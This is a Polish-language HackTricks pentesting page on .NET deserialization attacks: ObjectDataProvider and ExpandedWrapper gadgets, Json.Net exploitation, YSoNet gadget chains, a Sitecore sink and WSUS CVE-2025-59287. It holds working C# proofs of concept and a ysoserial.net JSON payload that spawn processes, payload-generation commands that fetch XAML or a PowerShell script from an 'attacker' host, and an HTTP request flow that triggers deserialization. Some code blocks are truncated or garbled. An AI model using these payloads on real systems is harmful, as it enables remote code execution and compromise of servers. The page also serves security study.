Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ten wpis poświęcony jest zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany do uzyskania RCE oraz jak biblioteki serializacji Json.Net i xmlSerializer mogą być nadużyte przy użyciu tego gadgetu.
ObjectDataProvider Gadget
From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Tak, to dziwne wyjaśnienie, więc zobaczmy, co w tej klasie jest tak interesującego: Klasa ta pozwala na opakowanie dowolnego obiektu, użycie MethodParameters do ustawienia dowolnych parametrów, a następnie użycie MethodName do wywołania dowolnej funkcji opisanego obiektu przy użyciu tych parametrów.
W związku z tym dowolny obiekt będzie wykonywał funkcję z parametrami podczas deserializacji.
Jak to jest możliwe
Przestrzeń nazw System.Windows.Data, znajdująca się w PresentationFramework.dll pod C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, to miejsce, gdzie zdefiniowano i zaimplementowano ObjectDataProvider.
Używając dnSpy możesz przeanalizować kod interesującej nas klasy. Na obrazie poniżej widzimy kod PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name
.png)
Jak widać, gdy ustawione zostaje MethodName, wywoływane jest base.Refresh() — przyjrzyjmy się, co ono robi:
.png)
Ok, kontynuujmy i zobaczmy, co robi this.BeginQuery(). BeginQuery jest nadpisane przez ObjectDataProvider i oto co robi:
.png)
Zauważ, że na końcu kodu wywoływane jest this.QueryWorke(null). Zobaczmy, co to wykonuje:
.png)
Zauważ, że to nie jest pełny kod funkcji QueryWorker, ale pokazuje jej interesującą część: Kod wywołuje this.InvokeMethodOnInstance(out ex); — to jest linia, w której zestawiona metoda jest wywoływana.
Jeśli chcesz sprawdzić, że samo ustawienie MethodName spowoduje jego wykonanie, możesz uruchomić ten kod:
C# demo: ObjectDataProvider wywołuje Process.Start
```csharp using System.Windows.Data; using System.Diagnostics;namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }
</details>
Zwróć uwagę, że musisz dodać jako referencję _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ aby załadować `System.Windows.Data`
## ExpandedWrapper
Używając poprzedniego exploita będą sytuacje, w których **obiekt** zostanie **zdeserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w podatności DotNetNuke, przy użyciu XmlSerializer obiekt został zdeserializowany za pomocą `GetType`). W takim przypadku nie będziemy mieć **wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (np. `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Ta klasa pozwala **określić typy obiektów, które są enkapsulowane** w danej instancji. Zatem ta klasa może być użyta do opakowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu oraz dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
Jest to bardzo przydatne w opisanym wcześniej przypadku, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_** wewnątrz **_**ExpandedWrapper** \_ instancji, a **po zdeserializowaniu** ta klasa **utworzy** _**OjectDataProvider**_ obiekt, który **wykona** **funkcję** wskazaną w _**MethodName**_.
Możesz sprawdzić ten wrapper za pomocą następującego kodu:
<details>
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na oficjalnej stronie wskazano, że ta biblioteka pozwala na serializację i deserializację dowolnego obiektu .NET za pomocą potężnego JSON serializera Json.NET. Zatem, jeśli moglibyśmy deserializować ObjectDataProvider gadget, moglibyśmy spowodować RCE po prostu deserializując obiekt.
Przykład Json.Net
Najpierw zobaczmy przykład, jak serializować/deserializować obiekt przy użyciu tej biblioteki:
C# demo: Json.NET serialize/deserialize
```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject
</details>
### Wykorzystywanie Json.Net
Używając [ysoserial.net](https://github.com/pwntester/ysoserial.net) stworzyłem exploit:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
W tym kodzie możesz przetestować exploit — po prostu uruchom go, a zobaczysz, że calc zostanie uruchomiony:
C# demo: Json.NET ObjectDataProvider exploitation PoC
```csharp using System; using System.Text; using Newtonsoft.Json;namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject
</details>
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Technika ObjectDataProvider + ExpandedWrapper opisana powyżej to tylko jeden z WIELU gadget chains, które można wykorzystać, gdy aplikacja wykonuje **niebezpieczną deserializację .NET**. Nowoczesne narzędzia red-teamowe, takie jak **[YSoNet](https://github.com/irsdl/ysonet)** (i starsze [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatyzują tworzenie **gotowych do użycia złośliwych grafów obiektów** dla dziesiątek gadgetów i formatów serializacji.
Poniżej znajduje się skondensowany przegląd najbardziej użytecznych łańcuchów dostarczanych z *YSoNet* wraz z krótkim wyjaśnieniem działania i przykładowymi poleceniami do generowania payloadów.
| Gadget Chain | Główna idea / prymityw | Popularne serializery | Przykładowe polecenie YSoNet |
|--------------|------------------------|-----------------------|-----------------------------|
| **TypeConfuseDelegate** | Uszkadza rekord `DelegateSerializationHolder`, tak że po odtworzeniu delegat wskazuje na *dowolną* metodę dostarczoną przez atakującego (np. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *ominąć filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** dostarczonej klasy lub **skomplilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Wykorzystuje **stare reprezentacje XML** `System.Data.DataSet` do instancjonowania dowolnych typów przez wypełnienie pól `<ColumnMapping>` / `<DataType>` (opcjonalnie podszywając się pod assembly za pomocą `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Na środowiskach WPF (> .NET 5) łączy gettery właściwości aż do `System.CodeDom.Compiler.CompilerResults`, a następnie *kompiluje* lub *ładuje* DLL dostarczone przez `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Używa WPF `System.Windows.Data.ObjectDataProvider` do wywołania dowolnej statycznej metody z kontrolowanymi argumentami. YSoNet dodaje wygodny wariant `--xamlurl`, aby hostować złośliwy XAML zdalnie | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Osadza `ScriptBlock` w `System.Management.Automation.PSObject`, który zostaje wykonany, gdy PowerShell deserializuje obiekt | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Wszystkie payloady są domyślnie **zapisane do *stdout***, co ułatwia ich przekierowanie do innych narzędzi (np. generatorów ViewState, enkoderów base64, klientów HTTP).
### Budowanie / Instalacja YSoNet
Jeśli nie ma dostępnych prekompilowanych binarek w *Actions ➜ Artifacts* / *Releases*, poniższy jednowierszowy skrypt **PowerShell** skonfiguruje środowisko builda, sklonuje repozytorium i skompiluje wszystko w trybie *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Skompilowany ysonet.exe można znaleźć w ysonet/bin/Release/.
Rzeczywisty sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Praktyczny .NET sink dostępny w uwierzytelnionych przepływach Sitecore XP Content Editor:
- Sink API:
Sitecore.Convert.Base64ToObject(string)opakowujenew BinaryFormatter().Deserialize(...). - Ścieżka wyzwalania: pipeline
convertToRuntimeHtml→ConvertWebControls, który wyszukuje element siostrzany zid="{iframeId}_inner"i odczytuje atrybutvalue, traktowany jako dane zserializowane zakodowane w base64. Wynik rzutowany jest na string i wstawiany do HTML.
Uwierzytelniony przepływ HTTP wyzwalający sink Sitecore
```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…
</details>
- Gadget: dowolny BinaryFormatter chain zwracający string (efekty uboczne wykonywane podczas deserializacji). Zobacz YSoNet/ysoserial.net, aby wygenerować payloads.
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>
## Studium przypadku: WSUS unsafe .NET deserialization (CVE-2025-59287)
- Produkt/rola: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
- Powierzchnia ataku: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (często wystawione wewnętrznie; ekspozycja do Internetu to wysokie ryzyko).
- Przyczyna: Unauthenticated deserialization of attacker-controlled data using legacy formatters:
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
- Wpływ: Spreparowany serialized object wywołuje gadget chain podczas deserializacji, prowadząc do wykonania dowolnego kodu jako `NT AUTHORITY\SYSTEM` w kontekście either the WSUS service (`wsusservice.exe`) lub puli aplikacji IIS `wsuspool` (`w3wp.exe`).
Praktyczne uwagi dotyczące eksploatacji
- Wykrywanie: Skanuj WSUS na TCP 8530/8531. Traktuj każdy pre-auth serialized blob docierający do metod webowych WSUS jako potencjalny sink dla `BinaryFormatter`/`SoapFormatter` payloads.
- Payloads: Użyj YSoNet/ysoserial.net do wygenerowania `BinaryFormatter` lub `SoapFormatter` chainów (np. `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Oczekiwana linia procesów przy sukcesie:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
## Źródła
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
> [!TIP]
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wsparcie dla HackTricks</summary>
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
>
> </details>
HackTricks

